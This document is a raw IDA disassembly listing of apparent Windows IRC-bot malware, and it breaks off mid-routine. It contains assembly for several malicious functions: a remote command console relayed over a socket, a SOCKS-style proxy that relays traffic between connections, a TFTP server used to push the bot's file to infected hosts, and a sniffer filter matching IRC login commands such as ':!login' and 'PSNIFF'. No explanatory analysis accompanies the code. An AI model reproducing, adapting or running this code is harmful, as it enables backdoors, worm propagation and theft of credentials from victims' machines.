; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4101A2	proc near		; DATA XREF: sub_40FDCD+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4101BB:				; CODE XREF: sub_4101A2+39j
					; sub_4101A2+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C9814	; recv
		test	eax, eax
		jle	loc_4102C0
		cmp	[ebp+var_10], ebx
		jbe	short loc_4101DD
		dec	[ebp+var_10]
		jmp	short loc_4101BB
; ---------------------------------------------------------------------------


loc_4101DD:				; CODE XREF: sub_4101A2+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4102A0
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_41024D
		cmp	al, 7Fh
		jz	short loc_41024D
		cmp	al, 3
		jnz	short loc_410208
		push	ebx
		push	ebx
		call	dword_423128	; GenerateConsoleCtrlEvent
		jmp	short loc_410274
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_4101A2+5Aj
		cmp	al, 15h
		jnz	short loc_41022A
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_410260
; ---------------------------------------------------------------------------


loc_41022A:				; CODE XREF: sub_4101A2+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_410261
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_410260
; ---------------------------------------------------------------------------


loc_41024D:				; CODE XREF: sub_4101A2+52j
					; sub_4101A2+56j
		cmp	esi, ebx
		jbe	short loc_410277
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_410260:				; CODE XREF: sub_4101A2+86j
					; sub_4101A2+A9j
		pop	ecx


loc_410261:				; CODE XREF: sub_4101A2+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4C9848	; send
		test	eax, eax
		jle	short loc_4102C0


loc_410274:				; CODE XREF: sub_4101A2+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_410277:				; CODE XREF: sub_4101A2+ADj
		cmp	al, 0Dh
		jnz	loc_4101BB
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jz	short loc_4102C0
		xor	esi, esi
		jmp	loc_4101BB
; ---------------------------------------------------------------------------


loc_4102A0:				; CODE XREF: sub_4101A2+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4102B1
		mov	[ebp+var_C], 1
		jmp	loc_4101BB
; ---------------------------------------------------------------------------


loc_4102B1:				; CODE XREF: sub_4101A2+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4101BB
; ---------------------------------------------------------------------------


loc_4102C0:				; CODE XREF: sub_4101A2+2Bj
					; sub_4101A2+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4101A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102C5	proc near		; DATA XREF: sub_401AC7+277Do

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4C97FC	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4C9878	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43C74C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4C9828	; bind
		test	eax, eax
		jnz	loc_410467
		push	0Ah
		push	edi
		call	dword_4C9824	; listen
		test	eax, eax
		jnz	loc_410467
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_42E094
		push	eax
		call	sub_417D96
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4103A0
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_408C5D
		add	esp, 14h


loc_4103A0:				; CODE XREF: sub_4102C5+B9j
					; sub_4102C5+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_413B5E
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4C988C	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_4369BC
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40A203
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43C744[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_4104CA
		push	esi
		push	esi
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43C754[ecx], eax
		jz	short loc_410447


loc_410434:				; CODE XREF: sub_4102C5+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4103A0
		push	5
		call	dword_423078	; Sleep
		jmp	short loc_410434
; ---------------------------------------------------------------------------


loc_410447:				; CODE XREF: sub_4102C5+16Dj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_436980
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_4103A0
; ---------------------------------------------------------------------------


loc_410467:				; CODE XREF: sub_4102C5+7Bj
					; sub_4102C5+8Cj
		push	edi
		call	dword_4C9890	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_43694C
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4104AA
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_408C5D
		add	esp, 14h


loc_4104AA:				; CODE XREF: sub_4102C5+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_413B5E
		push	[ebp+var_3C]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4102C5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104CA	proc near		; DATA XREF: sub_4102C5+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43C74C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4C97E4	; select
		test	eax, eax
		jnz	short loc_41054B
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41054B:				; CODE XREF: sub_4104CA+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4C9814	; recv
		test	eax, eax
		jg	short loc_41057C
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41057C:				; CODE XREF: sub_4104CA+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_410776
		cmp	[ebp+var_4CF], 1
		jnz	loc_410776
		cmp	[ebp+var_44], bl
		jz	short loc_410612
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410612
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_436A84
		call	sub_413BD2
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417AA0
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4C9848	; send
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410612:				; CODE XREF: sub_4104CA+CFj
					; sub_4104CA+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417AA0
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4C9878	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4106AA
		call	dword_4C9798	; WSAGetLastError
		push	eax
		push	offset dword_436A44
		call	sub_413BD2
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417AA0
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4C9848	; send
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_4106AA:				; CODE XREF: sub_4104CA+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4C97A8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410719
		call	dword_4C9798	; WSAGetLastError
		push	eax
		push	offset dword_436A00
		call	sub_413BD2
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417AA0
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4C9848	; send
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410719:				; CODE XREF: sub_4104CA+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4C9848	; send
		push	dword ptr [esi]
		push	edi
		call	sub_41078E
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4C9890	; closesocket
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410776:				; CODE XREF: sub_4104CA+B9j
					; sub_4104CA+C6j
		push	dword ptr [esi]
		call	dword_4C9890	; closesocket
		push	[ebp+arg_0]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread
sub_4104CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41078E	proc near		; CODE XREF: sub_4104CA+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4107A4:				; CODE XREF: sub_41078E+C5j
					; sub_41078E+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4107BC:				; CODE XREF: sub_41078E+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4107CC
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4107BC


loc_4107CC:				; CODE XREF: sub_41078E+33j
		cmp	ecx, 1
		jnz	short loc_4107E1
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_4107E1:				; CODE XREF: sub_41078E+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4C97E4	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4C96F8	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_410841
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4C9814	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410889
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410889


loc_410841:				; CODE XREF: sub_41078E+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C96F8	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4107A4
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9814	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410889
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4C9848	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4107A4


loc_410889:				; CODE XREF: sub_41078E+9Aj
					; sub_41078E+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41078E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41088E	proc near		; CODE XREF: sub_41088E:loc_410CFFp
					; DATA XREF: sub_401AC7+1C60o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4C9878	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41092E
		push	190h
		call	dword_423078	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_41090E
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408C5D
		add	esp, 14h


loc_41090E:				; CODE XREF: sub_41088E+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413B5E
		push	[ebp+var_168]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_41092E:				; CODE XREF: sub_41088E+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4C97DC	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4C97DC	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43C74C[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4C97FC	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4C9828	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4109B8
		push	1388h
		call	dword_423078	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_410CFF
; ---------------------------------------------------------------------------


loc_4109B8:				; CODE XREF: sub_41088E+10Fj
		lea	eax, [ebp+var_370]
		push	offset dword_425068
		push	eax
		call	sub_417A18
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_410A1E
		push	190h
		call	dword_423078	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408C5D
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413B5E
		push	[ebp+var_168]
		call	sub_40A51F
		add	esp, 1Ch
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410A1E:				; CODE XREF: sub_41088E+142j
					; sub_41088E+42Bj
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_410CC2
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4C97E4	; select
		test	eax, eax
		jle	loc_410CB6
		mov	al, byte_43B9B8
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4C97D4	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4C9884	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_417D96
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_410CA0
		cmp	[ebp+var_CF], 1
		jnz	loc_410BA6
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4176F0
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_4196EC
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_4177F0
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4C985C	; sendto
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_410B94
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408C5D
		add	esp, 14h


loc_410B94:				; CODE XREF: sub_41088E+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413B5E
		pop	ecx
		jmp	loc_410CB6
; ---------------------------------------------------------------------------


loc_410BA6:				; CODE XREF: sub_41088E+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_410CA0
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_410BE3
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_410BF1
; ---------------------------------------------------------------------------


loc_410BE3:				; CODE XREF: sub_41088E+341j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl


loc_410BF1:				; CODE XREF: sub_41088E+353j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_4196EC
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_4177F0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4C985C	; sendto
		cmp	edi, ebx
		jnz	short loc_410CB6
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_410C8B
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408C5D
		add	esp, 14h


loc_410C8B:				; CODE XREF: sub_41088E+3D8j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_413B5E
		inc	dword_4CC304
		pop	ecx
		jmp	short loc_410CB6
; ---------------------------------------------------------------------------


loc_410CA0:				; CODE XREF: sub_41088E+24Aj
					; sub_41088E+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_436AC4
		push	esi
		call	dword_4C985C	; sendto


loc_410CB6:				; CODE XREF: sub_41088E+1E9j
					; sub_41088E+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_410A1E
		mov	edi, [ebp+arg_0]


loc_410CC2:				; CODE XREF: sub_41088E+199j
		push	esi
		call	dword_4C9890	; closesocket
		push	[ebp+var_4]
		call	sub_41776B
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_410CF3
		push	[ebp+var_168]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_410CF3:				; CODE XREF: sub_41088E+450j
		push	3E8h
		call	dword_423078	; Sleep
		push	edi


loc_410CFF:				; CODE XREF: sub_41088E+125j
		call	sub_41088E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_41088E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410D0B	proc near		; CODE XREF: sub_41101A+213p
					; sub_41101A+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CC568, eax
		mov	eax, offset dword_4CC568
		retn
sub_410D0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_410D1A	proc near		; CODE XREF: sub_41101A+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D34


loc_410D30:				; CODE XREF: sub_410D1A+29j
					; sub_410D1A+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410D34:				; CODE XREF: sub_410D1A+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D30
		push	offset aPsniff_0 ; "[PSNIFF]:"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D30
		push	offset aPsniff	; "PSNIFF//"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D30
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D7C


loc_410D78:				; CODE XREF: sub_410D1A+71j
					; sub_410D1A+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410D7C:				; CODE XREF: sub_410D1A+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset a366	; "366 "
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D78
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_417E10
		pop	ecx
